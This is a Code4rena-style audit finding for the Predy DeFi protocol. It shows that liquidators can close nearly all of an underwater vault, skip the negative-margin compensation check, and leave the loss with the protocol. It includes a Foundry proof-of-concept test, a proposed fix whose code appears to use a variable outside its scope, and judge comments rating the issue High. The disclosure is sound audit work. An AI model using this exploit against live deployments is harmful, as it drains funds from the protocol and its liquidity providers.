Liquidators can bypass remaining negative margin check and leave the loss to the protocol

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-05-predy/blob/main/src/libraries/logic/LiquidationLogic.sol#L89-L108

Vulnerability details

Impact

• Liquidators can profit from protocol insolvency

  Description

  Background

  At the end of liquidation process, in the case of no remaining position, liquidate function checks for remaining margin of the liquidating vault.
  If there is positive remaining amount, it proceeds to send those margin back to vault's recipient.
  On contrary, if there is negative remaining amount, liquidator must pay (compensate) for those negative amount.

This mechanism exists to protect against protocol insolvency in the case that vault's margin cannot cover the loss from vault's position.

Liquidation incentives

Liquidators close vault's position, settle the trade and profit from slippage tolerance, set by the pool's owner.
For instance, if the slippage tolerance is set at 5% and let's say liquidator is closing this long position

amountBase: 1 ETH
amountQuote: -3,000 USDC
entryValue: 3,000 USDC
currentPrice: 2,500 USDC

Liquidator will get 1 ETH to sell for 2,500 USDC and have to return only 2500*0.95=2,375 USDC. The remaining short USDC will be deducted from vault's margin, in this case, 3000-2375=625 USDC

Considering this mechanism, liquidators will always profit from the slippage.

Vulnerability

If we take a look at the snippet of the code responsible for the aforementioned protection mechanism.
LiquidationLogic.sol#L89-L108

if (!hasPosition) {
    int256 remainingMargin = vault.margin;

    if (remainingMargin > 0) {
        if (vault.recipient != address(0)) {
            // Send the remaining margin to the recipient.
            vault.margin = 0;

            sentMarginAmount = uint256(remainingMargin);

            ERC20(pairStatus.quotePool.token).safeTransfer(vault.recipient, sentMarginAmount);
        }
    } else if (remainingMargin < 0) {
        vault.margin = 0;

        // To prevent the liquidator from unfairly profiting through arbitrage trades in the AMM and passing losses onto the protocol,
        // any losses that cannot be covered by the vault must be compensated by the liquidator
        ERC20(pairStatus.quotePool.token).safeTransferFrom(msg.sender, address(this), uint256(-remainingMargin));
    }
}

liquidation function only checks for negative margin if and only if the position is fully closed from liquidation.

Therefore, if the position is not fully closed (99.99% closed), and left with negative margin, liquidators don't have to compensate for the loss.

Considering the case where liquidation of a full position would result in negative margin, liquidators should only be incentivized to partially close a position to the point that vault's margin becomes zero because that would be their maximum profit.

However, with the logic flaw mentioned, liquidators can increase their profit by closing nearly full position (99.99% closed), effectively leave the loss to the protocol.

Tools Used

• Manual Review

Proof-of-Concept

This test demonstrates that liquidating nearly full position can bypass the negative margin check and leave the loss to the protocol.

Steps

• Add below test in 2024-05-predy/test/pool/ExecLiquidationCall.t.sol

• Run forge test --match-contract TestExecLiquidationCall --match-test testLiquidateSucceedsWithNegativeMarginRemaining -vv

  function testLiquidateSucceedsWithNegativeMarginRemaining() public {
      console2.log("[>] Opening a long perp position, amount=500e6 | margin=100e6");
      IPredyPool.TradeParams memory tradeParams =
          IPredyPool.TradeParams(1, 0, 500 * 1e6, 0, abi.encode(_getTradeAfterParams(100 * 1e6)));
      _tradeMarket.trade(tradeParams, _getSettlementData(Constants.Q96));
  
      IPredyPool.VaultStatus memory vaultStatus = _predyPoolQuoter.quoteVaultStatus(1);
      console2.log("[>] Vault's value: %s", vaultStatus.vaultValue);
  
      console2.log("[>] Magically make price lower");
      _movePrice(false, 10 * 1e16);
      vm.warp(block.timestamp + 1 minutes);
      console2.log("[>] Magically make price lower again and warp for TWAP");
      _movePrice(false, 5 * 1e16);
      vm.warp(block.timestamp + 29 minutes);
  
      vaultStatus = _predyPoolQuoter.quoteVaultStatus(1);
      console2.log("[>] Vault's value: %s", vaultStatus.vaultValue);
      console2.log("[>] Vault's margin: %s", vaultStatus.position.margin );
      console2.log("[>] Vault's quote position: %s", vaultStatus.position.amountQuote );
      console2.log("[>] Vault's base position: %s", vaultStatus.position.amountBase );
  
      uint indexPrice = predyPool.getSqrtIndexPrice(1);
  
      IFillerMarket.SettlementParams memory settlementParams =
          _getDebugSettlementData( indexPrice * 8950/10000 , type(uint).max);
  
      console2.log("[>] Position is now liquidatable, liquidates almost all position to leave the position open");
      IPredyPool.TradeResult memory tradeResult = _tradeMarket.execLiquidationCall(1, 0.99999e18, settlementParams);
      vaultStatus = _predyPoolQuoter.quoteVaultStatus(1);
      console2.log("[>] Vault is liquidated, left with negative margin");
      assertLt(vaultStatus.position.margin, 0);
      console2.log("[>] Vault's margin: %s", vaultStatus.position.margin );
      console2.log("[>] Vault's quote position: %s", vaultStatus.position.amountQuote );
      console2.log("[>] Vault's base position: %s", vaultStatus.position.amountBase );
      console2.log("[>] Position's perpPayoff: %s", tradeResult.payoff.perpPayoff);
  }

  Recommended Mitigations

  If the remaining margin in the vault is equal or less than zero, then there is no need to check whether there is still an open position because it is already effectively closed (no margin left). Therefore, a check for negative margin should be moved out from if(!hasPosition) block.

  Suggested fix

  if (!hasPosition) {
  int256 remainingMargin = vault.margin;
  
  if (remainingMargin > 0) {
      if (vault.recipient != address(0)) {
          // Send the remaining margin to the recipient.
          vault.margin = 0;
  
          sentMarginAmount = uint256(remainingMargin);
  
          ERC20(pairStatus.quotePool.token).safeTransfer(vault.recipient, sentMarginAmount);
      }
  }
  }
  else{
  if (remainingMargin < 0) {
      vault.margin = 0;
  
      // To prevent the liquidator from unfairly profiting through arbitrage trades in the AMM and passing losses onto the protocol,
      // any losses that cannot be covered by the vault must be compensated by the liquidator
      ERC20(pairStatus.quotePool.token).safeTransferFrom(msg.sender, address(this), uint256(-remainingMargin));
  }
  }

  Rationale for Medium severity

• Value leaks from protocol (insolvency) but it only happens in certain situation, i.e. price drops sharply.

Assessed type

Other

[c4-judge]

alex-ppg marked the issue as selected for report

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)

[alex-ppg]

The Warden has demonstrated how the stop-loss mechanism of the protocol is improperly applied only when a vault is closed in its entirety, permitting liquidators to close a vault whilst leaving a minuscule remainder within it to bypass the mechanism and thus profit at the expense of the protocol.

I believe a high severity rating is appropriate given that the vulnerability can be reliably exploited and will further deteriorate a negative market event with tangible monetary impact.